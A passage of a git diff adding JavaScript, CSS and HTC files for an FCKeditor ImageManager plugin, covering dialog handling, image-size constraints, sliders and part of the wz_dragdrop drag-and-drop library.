+               if(message && messages)
+               {
+                       if(message.firstChild)
+                               message.removeChild(message.firstChild);
+
+                       message.appendChild(topDoc.createTextNode(i18n(newMessage)));
+                       
+                       messages.style.display = "block";
+               }
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       function confirmDeleteFile(file) 
+       {
+               if(confirm(i18n("Delete file?")))
+                       return true;
+       
+               return false;           
+       }
+
+       function confirmDeleteDir(dir, count) 
+       {
+               if(count > 0)
+               {
+                       alert(i18n("Please delete all files/folders inside the folder you wish to delete first."));
+                       return;
+               }
+
+               if(confirm(i18n("Delete folder?"))) 
+                       return true;
+
+               return false;
+       }
+
+       addEvent(window, 'load', init);
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/manager.css b/fckeditor/editor/plugins/ImageManager/assets/manager.css
new file mode 100644 (file)
index 0000000..c09857b
--- /dev/null
@@ -0,0 +1,19 @@
+html, body {  background-color: ButtonFace;  color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+fieldset { padding: 0;}
+.title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px  solid black; letter-spacing: 2px;}
+form { padding: 0px;  margin: 0 auto; width: 550px;}
+.dirWidth { width: 70%; }
+a { padding: 5px; border: 1px solid ButtonFace;        }       
+a img  { border: 0; }  
+a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; }
+.dirs {        padding: 1em;   }
+.imageFrame { width: 525px; height: 145px; margin: 0 auto; margin-top: 1em; background-color: White;}
+.smallWidth{ width: 4em; }
+.largelWidth{ width: 22em; }
+.inputTable { margin: 1em auto; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+.clearboth{ clear: both; }
+#messages { position: relative; left: 175px; top: 115px; background-color: white; width:200px;  float: left; margin-top: -52px; border: 1px solid #ccc; text-align: center; padding: 15px; }
+#message  { font-size: 15px; font-weight: bold; color: #69c; }
diff --git a/fckeditor/editor/plugins/ImageManager/assets/manager.js b/fckeditor/editor/plugins/ImageManager/assets/manager.js
new file mode 100644 (file)
index 0000000..44e3244
--- /dev/null
@@ -0,0 +1,259 @@
+/**
+ * Functions for the ImageManager, used by manager.php only    
+ * @author $Author: matrix $
+ * @version $Id: manager.js,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ * @package ImageManager
+ */
+       
+       //Translation
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+
+       //set the alignment options
+       function setAlign(align) 
+       {
+               var selection = document.getElementById('f_align');
+               for(var i = 0; i < selection.length; i++)
+               {
+                       if(selection.options[i].value == align)
+                       {
+                               selection.selectedIndex = i;
+                               break;
+                       }
+               }
+       }
+
+       //initialise the form
+       init = function () 
+       {
+               __dlg_init();
+
+               if(I18N)
+                       __dlg_translate(I18N);
+
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm) uploadForm.target = 'imgManager';
+
+               var param = window.dialogArguments;
+               if (param) 
+               {
+                       // strip the extra url details off the passed url. make sure the url still starts with a /
+                       param["f_url"] = stripBaseURL(param["f_url"]);
+                       if (param["f_url"].indexOf("/") != 0) param["f_url"] = '/'+param["f_url"];
+
+                       document.getElementById("f_url").value = param["f_url"];
+                       document.getElementById("f_alt").value = param["f_alt"];
+                       document.getElementById("f_border").value = param["f_border"];
+                       document.getElementById("f_vert").value = param["f_vert"];
+                       document.getElementById("f_horiz").value = param["f_horiz"];
+                       document.getElementById("f_width").value = param["f_width"];
+                       document.getElementById("f_height").value = param["f_height"];
+                       setAlign(param["f_align"]);
+               }
+
+               document.getElementById("f_url").focus();
+       }
+
+       // Need to strip the base url (and any appended http://... stuff if editing an image
+    function stripBaseURL (string) {
+               // strip off the server name if it exists
+               if (base_url.indexOf('://') == -1) {
+                       string = string.replace('https://'+server_name,'');
+                       string = string.replace('http://'+server_name,'');
+               }
+
+        // strip off the base url if it exists
+        string = string.replace(base_url, '');
+               return string;
+    
+       };
+
+
+       function onCancel() 
+       {
+               __dlg_close(null);
+               return false;
+       };
+
+       function onOK() 
+       {
+               // pass data back to the calling window
+               var fields = ["f_url", "f_alt", "f_align", "f_border", "f_horiz", "f_vert", "f_height", "f_width","f_file"];
+               var param = new Object();
+               for (var i in fields) 
+               {
+                       var id = fields[i];
+                       var el = document.getElementById(id);
+                       if(id == "f_url" && el.value.indexOf('://') < 0 )
+                               param[id] = makeURL(base_url,el.value);
+                       else
+                               param[id] = el.value;
+               }
+               __dlg_close(param);
+               return false;
+       };
+
+       //similar to the Files::makeFile() in Files.php
+       function makeURL(pathA, pathB) 
+       {
+               if(pathA.substring(pathA.length-1) != '/')
+                       pathA += '/';
+
+               if(pathB.charAt(0) == '/');     
+                       pathB = pathB.substring(1);
+
+               return pathA+pathB;
+       }
+
+
+       function updateDir(selection) 
+       {
+               var newDir = selection.options[selection.selectedIndex].value;
+               changeDir(newDir);
+       }
+
+       function goUpDir() 
+       {
+               var selection = document.getElementById('dirPath');
+               var currentDir = selection.options[selection.selectedIndex].text;
+               if(currentDir.length < 2)
+                       return false;
+               var dirs = currentDir.split('/');
+               
+               var search = '';
+
+               for(var i = 0; i < dirs.length - 2; i++)
+               {
+                       search += dirs[i]+'/';
+               }
+
+               for(var i = 0; i < selection.length; i++)
+               {
+                       var thisDir = selection.options[i].text;
+                       if(thisDir == search)
+                       {
+                               selection.selectedIndex = i;
+                               var newDir = selection.options[i].value;
+                               changeDir(newDir);
+                               break;
+                       }
+               }
+       }
+
+       function changeDir(newDir) 
+       {
+               if(typeof imgManager != 'undefined')
+                       imgManager.changeDir(newDir);
+       }
+
+       function toggleConstrains(constrains) 
+       {
+               var lockImage = document.getElementById('imgLock');
+               var constrains = document.getElementById('constrain_prop');
+
+               if(constrains.checked) 
+               {
+                       lockImage.src = "img/locked.gif";       
+                       checkConstrains('width') 
+               }
+               else
+               {
+                       lockImage.src = "img/unlocked.gif";     
+               }
+       }
+
+       function checkConstrains(changed) 
+       {
+               //alert(document.form1.constrain_prop);
+               var constrains = document.getElementById('constrain_prop');
+               
+               if(constrains.checked) 
+               {
+                       var obj = document.getElementById('orginal_width');
+                       var orginal_width = parseInt(obj.value);
+                       var obj = document.getElementById('orginal_height');
+                       var orginal_height = parseInt(obj.value);
+
+                       var widthObj = document.getElementById('f_width');
+                       var heightObj = document.getElementById('f_height');
+                       
+                       var width = parseInt(widthObj.value);
+                       var height = parseInt(heightObj.value);
+
+                       if(orginal_width > 0 && orginal_height > 0) 
+                       {
+                               if(changed == 'width' && width > 0) {
+                                       heightObj.value = parseInt((width/orginal_width)*orginal_height);
+                               }
+
+                               if(changed == 'height' && height > 0) {
+                                       widthObj.value = parseInt((height/orginal_height)*orginal_width);
+                               }
+                       }                       
+               }
+       }
+
+       function showMessage(newMessage) 
+       {
+               var message = document.getElementById('message');
+               var messages = document.getElementById('messages');
+               if(message.firstChild)
+                       message.removeChild(message.firstChild);
+
+               message.appendChild(document.createTextNode(i18n(newMessage)));
+               
+               messages.style.display = "block";
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       function doUpload() 
+       {
+               
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm)
+                       showMessage('Uploading');
+       }
+
+       function refresh()
+       {
+               var selection = document.getElementById('dirPath');
+               updateDir(selection);
+       }
+
+
+       function newFolder() 
+       {
+               var selection = document.getElementById('dirPath');
+               var dir = selection.options[selection.selectedIndex].value;
+
+               Dialog("newFolder.html", function(param) 
+               {
+                       if (!param) // user must have pressed Cancel
+                               return false;
+                       else
+                       {
+                               var folder = param['f_foldername'];
+                               if(folder == thumbdir)
+                               {
+                                       alert(i18n('Invalid folder name, please choose another folder name.'));
+                                       return false;
+                               }
+
+                               if (folder && folder != '' && typeof imgManager != 'undefined') 
+                                       imgManager.newFolder(dir, encodeURI(folder)); 
+                       }
+               }, null);
+       }
+
+       addEvent(window, 'load', init);
diff --git a/fckeditor/editor/plugins/ImageManager/assets/pngbehavior.htc b/fckeditor/editor/plugins/ImageManager/assets/pngbehavior.htc
new file mode 100644 (file)
index 0000000..c857adc
--- /dev/null
@@ -0,0 +1,62 @@
+<public:component>
+<public:attach event="onpropertychange" onevent="propertyChanged()" />
+<script>
+
+/*
+ * PNG Behavior
+ *
+ * This script was created by Erik Arvidsson (http://webfx.eae.net/contact.html#erik)
+ * for WebFX (http://webfx.eae.net)
+ * Copyright 2002-2004
+ *
+ * For usage see license at http://webfx.eae.net/license.html
+ *
+ */
+
+var supported = /MSIE (5\.5)|[6789]/.test(navigator.userAgent) && navigator.platform == "Win32";
+var realSrc;
+var blankSrc = "assets/blank.gif";
+
+if (supported) fixImage();
+
+function propertyChanged() {
+   if (!supported) return;
+
+   var pName = event.propertyName;
+   if (pName != "src") return;
+   // if not set to blank
+   if ( ! new RegExp(blankSrc).test(src))
+      fixImage();
+};
+
+function fixImage() {
+   // get src
+   var src = element.src;
+
+   // check for real change
+   if (src == realSrc) {
+      element.src = blankSrc;
+      return;
+   }
+
+   if ( ! new RegExp(blankSrc).test(src)) {
+      // backup old src
+      realSrc = src;
+   }
+
+   // test for png
+   if ( /\.png$/.test( realSrc.toLowerCase() ) ) {
+      // set blank image
+      element.src = blankSrc;
+      // set filter
+      element.runtimeStyle.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" +
+                                     src + "',sizingMethod='scale')";
+   }
+   else {
+      // remove filter
+      element.runtimeStyle.filter = "";
+   }
+}
+
+</script>
+</public:component>
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/popup.js b/fckeditor/editor/plugins/ImageManager/assets/popup.js
new file mode 100644 (file)
index 0000000..e7915ef
--- /dev/null
@@ -0,0 +1,131 @@
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+
+// Slightly modified for the ImageManager, window resizing is done only
+// by each window's script. Added translation for a few other HTML elements.
+
+function getAbsolutePos(el) {
+       var r = { x: el.offsetLeft, y: el.offsetTop };
+       if (el.offsetParent) {
+               var tmp = getAbsolutePos(el.offsetParent);
+               r.x += tmp.x;
+               r.y += tmp.y;
+       }
+       return r;
+};
+
+function comboSelectValue(c, val) {
+       var ops = c.getElementsByTagName("option");
+       for (var i = ops.length; --i >= 0;) {
+               var op = ops[i];
+               op.selected = (op.value == val);
+       }
+       c.value = val;
+};
+
+function __dlg_onclose() {
+       if(opener.Dialog._return)
+               opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+       var body = document.body;
+       var body_height = 0;
+       if (typeof bottom == "undefined") {
+               var div = document.createElement("div");
+               body.appendChild(div);
+               var pos = getAbsolutePos(div);
+               body_height = pos.y;
+       } else {
+               var pos = getAbsolutePos(bottom);
+               body_height = pos.y + bottom.offsetHeight;
+       }
+       if(opener && opener.Dialog && opener.Dialog._arguments)
+               window.dialogArguments = opener.Dialog._arguments;
+       if (!document.all) {
+               //window.sizeToContent();
+               //window.sizeToContent();       // for reasons beyond understanding,
+                                       // only if we call it twice we get the
+                                       // correct size.
+               window.addEventListener("unload", __dlg_onclose, true);
+               // center on parent
+               var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+               var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+               
+               window.moveTo(x, y);
+               //window.innerWidth = body.offsetWidth + 5;
+               //window.innerHeight = body_height + 2;
+       } else {
+               // window.dialogHeight = body.offsetHeight + 50 + "px";
+               // window.dialogWidth = body.offsetWidth + "px";
+               //window.resizeTo(body.offsetWidth, body_height);
+               var ch = body.clientHeight;
+               var cw = body.clientWidth;
+               //window.resizeBy(body.offsetWidth - cw, body_height - ch);
+               var W = body.offsetWidth;
+               var H = 2 * body_height - ch;
+               if(ch <= 0) H = body_height;
+               var x = (screen.availWidth - W) / 2;
+               var y = (screen.availHeight - H) / 2;
+               //alert('x:'+x+' y:'+y+' ch:'+ch);
+               if(Dialog.is_ie)
+                       window.moveTo(x, y);
+               else //opera
+                       window.moveTo(x, y - H/4);
+       }
+       document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+       var types = ["span", "option", "td", "button", "div", "label", "a","img", "legend"];
+       for (var type in types) {
+               var spans = document.getElementsByTagName(types[type]);
+               for (var i = spans.length; --i >= 0;) {
+                       var span = spans[i];
+                       if (span.firstChild && span.firstChild.data) {                          
+                               var txt = i18n[span.firstChild.data];
+                               if (txt) span.firstChild.data = txt;
+                       }
+                       if(span.title){
+                               var txt = i18n[span.title];
+                               if(txt) span.title = txt;
+                       }
+                       if(span.alt){
+                               var txt = i18n[span.alt];
+                               if(txt) span.alt = txt;
+                       }
+               }
+       }
+       var txt = i18n[document.title];
+       if (txt)
+               document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+       opener.Dialog._return(val);
+       window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+       ev || (ev = window.event);
+       if (ev.keyCode == 27) {
+               window.close();
+               return false;
+       }
+       return true;
+};
+
+function Dialog(){};
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie      = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
diff --git a/fckeditor/editor/plugins/ImageManager/assets/slider.js b/fckeditor/editor/plugins/ImageManager/assets/slider.js
new file mode 100644 (file)
index 0000000..e29f5d5
--- /dev/null
@@ -0,0 +1,112 @@
+/***********************************************************************
+** Title.........:  Simple Lite Slider for Image Editor
+** Version.......:  1.1
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  slider.js
+** Last changed..:  31 Mar 2004 
+** Notes.........:  Works in IE and Mozilla
+**/ 
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+document.onmouseup = captureStop;
+
+var currentSlider = null,sliderField = null;
+var rangeMin = null, rangeMax= null, sx = -1, sy = -1, initX=0;
+
+function getMouseXY(e) {
+
+    x = ns6? e.clientX: event.clientX
+    y = ns6? e.clientY: event.clientY
+    
+    if (sx < 0) sx = x; if (sy < 0) sy = y;
+
+    var dx = initX +(x-sx);
+    
+    if (dx <= rangeMin)
+        dx = rangeMin;
+    else if (dx >= rangeMax)
+        dx = rangeMax;
+
+    var range = (dx-rangeMin)/(rangeMax - rangeMin)*100;
+
+    if (currentSlider !=  null)
+        currentSlider.style.left = dx+"px";
+        
+    if (sliderField != null)
+    {
+        sliderField.value = parseInt(range);
+    }
+
+       if (currentSlider.id == "sliderbarwatermark")
+       {
+               changeWatermarkOpacity(dx);
+       }
+
+       return false;
+}
+
+function initSlider(action)
+{
+       currentSlider = document.getElementById('sliderbar' + action);
+    sliderField = document.getElementById('sliderfield' + action);
+
+    if (rangeMin == null)
+        rangeMin = 3
+    if (rangeMax == null)
+    {
+        var track = document.getElementById('slidertrack' + action);
+        rangeMax = parseInt(track.style.width);
+    }
+
+}
+
+function updateSlider(value, action)
+{
+       initSlider(action);
+
+    var newValue = parseInt(value)/100*(rangeMax-rangeMin);
+
+    if (newValue <= rangeMin)
+        newValue = rangeMin;
+    else if (newValue >= rangeMax)
+        newValue = rangeMax;
+
+    if (currentSlider !=  null)
+        currentSlider.style.left = newValue+"px";
+    
+    var range = newValue/(rangeMax - rangeMin)*100;
+
+    if (sliderField != null)
+    {
+        sliderField.value = parseInt(range);
+    }
+
+       if (action == "watermark")
+       {
+               changeWatermarkOpacity(newValue);
+       }
+}
+
+function captureStart(action)
+{
+    initSlider(action);
+
+    initX = parseInt(currentSlider.style.left);
+    if (initX > rangeMax)
+        initX = rangeMax;
+    else if (initX < rangeMin)
+        initX = rangeMin;
+
+    document.onmousemove = getMouseXY;
+
+    return false;
+}
+
+function captureStop()
+{
+    sx = -1; sy = -1;
+    document.onmousemove = null;
+    return false;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/wz_dragdrop.js b/fckeditor/editor/plugins/ImageManager/assets/wz_dragdrop.js
new file mode 100644 (file)
index 0000000..e3a1b5a
--- /dev/null
@@ -0,0 +1,1331 @@
+/* This notice must be untouched at all times.
+
+wz_dragdrop.js v. 4.85
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Copyright (c) 2002-2003 Walter Zorn. All rights reserved.
+Created 26. 8. 2002 by Walter Zorn (Web: http://www.walterzorn.com )
+Last modified: 10. 2. 2006
+
+This DHTML & Drag&Drop Library adds Drag&Drop functionality
+to the following types of html-elements:
+- images, even if not positioned via layers,
+  nor via stylesheets or any other kind of "hard-coding"
+- relatively and absolutely positioned layers (DIV elements).
+Moreover, it provides extended DHTML abilities.
+
+LICENSE: LGPL
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License (LGPL) as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+For more details on the GNU Lesser General Public License,
+see http://www.gnu.org/copyleft/lesser.html
+*/
+
+
+// PATH TO THE TRANSPARENT 1*1 PX IMAGE (required by NS 4 as spacer)
+var spacer = 'img/transparentpixel.gif';
+
+
+//window.onerror = new Function('return true;');
+
+
+// Optional commands passed to SET_DHTML() on the html-page (g: may be applied globally, i: individually)
+var CLONE                      = 'C10nE';   // i  img    clone image
+var COPY                        = 'C0pY';      // i  img         create copies
+var DETACH_CHILDREN  = 'd37aCH';  // i  lyr      detach images
+var HORIZONTAL    = 'H0r1Z';   // i  img,lyr  horizontally draggable only
+var MAXHEIGHT          = 'm7x8I';   // i  img,lyr  maximum height limit, "
+var MAXOFFBOTTOM        = 'm7xd0wN'; // i  img,lyr  downward offset limit
+var MAXOFFLEFT    = 'm7x23Ft'; // i  img,lyr  leftward offset limit
+var MAXOFFRIGHT          = 'm7x0Ff8'; // i  img,lyr  rightward offset limit
+var MAXOFFTOP          = 'm7xu9';   // i  img,lyr  upward offset limit
+var MAXWIDTH            = 'm7xW1';   // i  img,lyr  maximum width limit, use with resizable or scalable
+var MINWIDTH            = 'm1nw1';   // i  img,lyr  minimum width limit, "
+var MINHEIGHT          = 'm1n8I';   // i  img,lyr  minimum height limit, "
+var NO_ALT                = 'no81T';   // gi img         disable alt and title attributes
+var NO_DRAG              = 'N0d4Ag';  // i  img,lyr  disable draggability
+var RESET_Z              = 'r35E7z';  // gi img,lyr  reset z-index when dropped
+var RESIZABLE          = 'r5IZbl';  // gi img,lyr  resizable if <ctrl> or <shift> pressed
+var SCALABLE            = 'SCLbl';   // gi img,lyr  scalable              "
+var SCROLL                = 'sC8lL';   // gi img,lyr  enable auto scroll functionality
+var TRANSPARENT          = 'dIApHAn'; // gi img,lyr  translucent while dragged
+var VERTICAL            = 'V3Rt1C';  // i  img,lyr  vertically draggable only
+var dd_cursors = new Array(
+       'c:default',
+       'c:crosshair',
+       'c:e-resize',
+       'c:hand',
+       'c:help',
+       'c:move',
+       'c:n-resize',
+       'c:ne-resize',
+       'c:nw-resize',
+       'c:s-resize',
+       'c:se-resize',
+       'c:sw-resize',
+       'c:text',
+       'c:w-resize',
+       'c:wait'
+);
+var dd_i = dd_cursors.length; while(dd_i--)
+       eval('var CURSOR_' + (dd_cursors[dd_i].substring(2).toUpperCase().replace('-', '_')) + ' = "' + dd_cursors[dd_i] + '";');
+var dd_u = "undefined";
+function WZDD()
+{
+       this.elements = new Array(0);
+       this.obj = null;
+       this.n = navigator.userAgent.toLowerCase();
+       this.db = (document.compatMode && document.compatMode.toLowerCase() != "backcompat")?
+               document.documentElement
+               : (document.body || null);
+       this.op = !!(window.opera && document.getElementById);
+       if(this.op) document.onmousedown = new Function('e',
+               'if(((e = e || window.event).target || e.srcElement).tagName == "IMAGE") return false;');
+       this.ie = !!(this.n.indexOf("msie") >= 0 && document.all && this.db && !this.op);
+       this.iemac = !!(this.ie && this.n.indexOf("mac") >= 0);
+       this.ie4 = !!(this.ie && !document.getElementById);
+       this.n4 = !!(document.layers && typeof document.classes != dd_u);
+       this.n6 = !!(typeof window.getComputedStyle != dd_u && typeof document.createRange != dd_u);
+       this.w3c = !!(!this.op && !this.ie && !this.n6 && document.getElementById);
+       this.ce = !!(document.captureEvents && document.releaseEvents);
+       this.px = this.n4? '' : 'px';
+       this.tiv = this.w3c? 40 : 10;
+}
+var dd = new WZDD();
+
+dd.Int = function(d_x, d_y)
+{
+       return isNaN(d_y = parseInt(d_x))? 0 : d_y;
+};
+dd.getWndW = function()
+{
+       return dd.Int(
+               (dd.db && !dd.op && !dd.w3c && dd.db.clientWidth)? dd.db.clientWidth
+               : (window.innerWidth || 0)
+       );
+};
+dd.getWndH = function()
+{
+       return dd.Int(
+               (dd.db && !dd.op && !dd.w3c && dd.db.clientHeight)? dd.db.clientHeight
+               : (window.innerHeight || 0)
+       );
+};
+dd.getScrollX = function()
+{
+       return dd.Int(window.pageXOffset || (dd.db? dd.db.scrollLeft : 0));
+};
+dd.getScrollY = function()
+{
+       return dd.Int(window.pageYOffset || (dd.db? dd.db.scrollTop : 0));
+};
+dd.getPageXY = function(d_o)
+{
+       if(dd.n4 && d_o)
+       {
+               dd.x = d_o.pageX || 0;
+               dd.y = d_o.pageY || 0;
+       }
+       else
+       {
+               dd.x = dd.y = 0; //global helper vars
+               while(d_o)
+               {
+                       dd.x += dd.Int(d_o.offsetLeft);
+                       dd.y += dd.Int(d_o.offsetTop);
+                       d_o = d_o.offsetParent || null;
+               }
+       }
+};
+dd.getCssXY = function(d_o)
+{
+       if(d_o.div)
+       {
+               if(dd.n4)
+               {
+                       d_o.cssx = d_o.div.x;
+                       d_o.cssy = d_o.div.y;
+               }
+               else if(dd.ie4)
+               {
+                       d_o.cssx = d_o.css.pixelLeft;
+                       d_o.cssy = d_o.css.pixelTop;
+               }
+               else
+               {
+                       d_o.css.left = d_o.css.top = 0 + dd.px;
+                       dd.getPageXY(d_o.div);
+                       d_o.cssx = d_o.x - dd.x;
+                       d_o.cssy = d_o.y - dd.y;
+                       d_o.css.left = d_o.cssx + dd.px;
+                       d_o.css.top = d_o.cssy + dd.px;
+               }
+       }
+       else
+       {
+               d_o.cssx = 0;
+               d_o.cssy = 0;
+       }
+};
+dd.getImgW = function(d_o)
+{
+       return d_o? dd.Int(d_o.width) : 0;
+};
+dd.getImgH = function(d_o)
+{
+       return d_o? dd.Int(d_o.height) : 0;
+};
+dd.getDivW = function(d_o)
+{
+       return dd.Int(
+               dd.n4? (d_o.div? d_o.div.clip.width : 0)
+               : d_o.div? (d_o.div.offsetWidth || d_o.css.pixelWidth || d_o.css.width || 0)
+               : 0
+       );
+};
+dd.getDivH = function(d_o)
+{
+       return dd.Int(
+               dd.n4? (d_o.div? d_o.div.clip.height : 0)
+               : d_o.div? (d_o.div.offsetHeight || d_o.css.pixelHeight || d_o.css.height || 0)
+               : 0
+       );
+};
+dd.getWH = function(d_o)
+{
+       d_o.w = dd.getDivW(d_o);
+       d_o.h = dd.getDivH(d_o);
+       if(d_o.css)
+       {
+               d_o.css.width = d_o.w + dd.px;
+               d_o.css.height = d_o.h + dd.px;
+               d_o.dw = dd.getDivW(d_o)-d_o.w;
+               d_o.dh = dd.getDivH(d_o)-d_o.h;
+               d_o.css.width = (d_o.w-d_o.dw) + dd.px;
+               d_o.css.height = (d_o.h-d_o.dh) + dd.px;
+       }
+       else d_o.dw = d_o.dh = 0;
+};
+dd.getCssProp = function(d_o, d_pn6, d_pstyle, d_pn4)
+{
+       if(d_o && dd.n6) return ''+window.getComputedStyle(d_o, null).getPropertyValue(d_pn6);
+       if(d_o && d_o.currentStyle) return ''+eval('d_o.currentStyle.'+d_pstyle);
+       if(d_o && d_o.style) return ''+eval('d_o.style.'+d_pstyle);
+       if(d_o && dd.n4) return ''+eval('d_o.'+d_pn4);
+       return '';
+};
+dd.getDiv = function(d_x, d_d)
+{
+       d_d = d_d || document;
+       if(dd.n4)
+       {
+               if(d_d.layers[d_x]) return d_d.layers[d_x];
+               for(var d_i = d_d.layers.length; d_i--;)
+               {
+                       var d_y = dd.getDiv(d_x, d_d.layers[d_i].document);
+                       if(d_y) return d_y;
+               }
+       }
+       if(dd.ie) return d_d.all[d_x] || null;
+       if(d_d.getElementById) return d_d.getElementById(d_x) || null;
+       return null;
+};
+dd.getImg = function(d_o, d_nm, d_xy, d_w)
+{
+       d_w = d_w || window;
+       var d_img;
+       if(document.images && (d_img = d_w.document.images[d_nm]))
+       {
+               if(d_xy)
+               {
+                       if(dd.n4)
+                       {
+                               dd.getPageXY(d_w);
+                               d_o.defx = d_img.x + dd.x;
+                               d_o.defy = d_img.y + dd.y;
+                       }
+                       else
+                       {
+                               dd.getPageXY(d_img);
+                               d_o.defx = dd.x;
+                               d_o.defy = dd.y;
+                       }
+               }
+               return d_img;
+       }
+       if(dd.n4) for(var d_i = d_w.document.layers.length; d_i--;)
+       {
+               var d_y = dd.getImg(d_o, d_nm, d_xy, d_w.document.layers[d_i]);
+               if(d_y) return d_y;
+       }
+       return null;
+};
+dd.getParent = function(d_o, d_p)
+{
+       if(dd.n4)
+       {
+               for(d_p, d_i = dd.elements.length; d_i--;)
+               {
+                       if(!((d_p = dd.elements[d_i]).is_image) && d_p.div && (d_p.div.document.layers[d_o.name] || d_o.oimg && d_p.div.document.images[d_o.oimg.name]))
+                               d_p.addChild(d_o, d_p.detach, 1);
+               }
+       }
+       else
+       {
+               d_p = d_o.is_image? dd.getImg(d_o, d_o.oimg.name) : (d_o.div || null);
+               while(d_p && !!(d_p = d_p.offsetParent || d_p.parentNode || null))
+               {
+                       if(d_p.ddObj)
+                       {
+                               d_p.ddObj.addChild(d_o, d_p.ddObj.detach, 1);
+                               break;
+                       }
+               }
+       }
+};
+dd.getCmd = function(d_o, d_cmd, d_cmdStr)
+{
+       var d_i = d_o.id.indexOf(d_cmd), d_j,
+       d_y = (d_i >= 0)*1;
+       if(d_y)
+       {
+               d_j = d_i+d_cmd.length;
+               if(d_cmdStr) d_o.cmd += d_o.id.substring(d_i, d_j);
+               d_o.id = d_o.id.substring(0, d_i) + d_o.id.substring(d_j);
+       }
+       return d_y;
+};
+dd.getCmdVal = function(d_o, d_cmd, d_cmdStr, int0)
+{
+       var d_i = d_o.id.indexOf(d_cmd), d_j,
+       d_y = (d_o.id.indexOf(d_cmd) >= 0)? dd.Int(d_o.id.substring(d_o.id.indexOf(d_cmd)+d_cmd.length)) : int0? -1 : 0;
+       if(!int0 && d_y || int0 && d_y >= 0)
+       {
+               d_j = d_i+d_cmd.length+(""+d_y).length;
+               if(d_cmdStr) d_o.cmd += d_o.id.substring(d_i, d_j);
+               d_o.id = d_o.id.substring(0, d_i) + d_o.id.substring(d_j);
+       }
+       return d_y;
+};
+dd.addElt = function(d_o, d_p)
+{
+       dd.elements[d_o.name] = dd.elements[d_o.index = dd.elements.length] = d_o;
+       if(d_p) d_p.copies[d_o.name] = d_p.copies[d_p.copies.length] = d_o;
+};
+dd.mkWzDom = function()
+{
+       var d_o, d_i = dd.elements.length; while(d_i--) dd.getParent(dd.elements[d_i]);
+       d_i = dd.elements.length; while(d_i--)
+       {
+               d_o = dd.elements[d_i];
+               if(d_o.children && !d_o.parent)
+               {
+                       var d_j = d_o.children.length; while(d_j--)
+                               d_o.children[d_j].setZ(d_o.z+d_o.children[d_j].z, 1);
+               }
+       }
+};
+dd.addProps = function(d_o)
+{
+       var d_i, d_c;
+       if(d_o.is_image)
+       {
+               d_o.div = dd.getDiv(d_o.id);
+               d_o.css = (d_o.div && typeof d_o.div.style != dd_u)? d_o.div.style : null;
+               d_o.nimg = (dd.n4 && d_o.div)? d_o.div.document.images[0] : (document.images[d_o.id+"NI1m6G"] || null);
+               if(!d_o.noalt && !dd.noalt && d_o.nimg && d_o.oimg)
+               {
+                       d_o.nimg.alt = d_o.oimg.alt || '';
+                       if(d_o.oimg.title) d_o.nimg.title = d_o.oimg.title;
+               }
+               d_o.bgColor = '';
+       }
+       else
+       {
+               d_o.bgColor = dd.getCssProp(d_o.div, 'background-color','backgroundColor','bgColor').toLowerCase();
+               if(dd.n6 && d_o.div)
+               {
+                       if((d_c = d_o.bgColor).indexOf('rgb') >= 0)
+                       {
+                               d_c = d_c.substring(4, d_c.length-1).split(',');
+                               d_o.bgColor = '#';
+                               for(d_i = 0; d_i < d_c.length; d_i++) d_o.bgColor += parseInt(d_c[d_i]).toString(0x10);
+                       }
+                       else d_o.bgColor = d_c;
+               }
+       }
+       if(dd.scalable) d_o.scalable = d_o.resizable^1;
+       else if(dd.resizable) d_o.resizable = d_o.scalable^1;
+       d_o.setZ(d_o.defz);
+       d_o.cursor = d_o.cursor || dd.cursor || 'auto';
+       d_o._setCrs(d_o.nodrag? 'auto' : d_o.cursor);
+       d_o.diaphan = d_o.diaphan || dd.diaphan || 0;
+       d_o.opacity = 1.0;
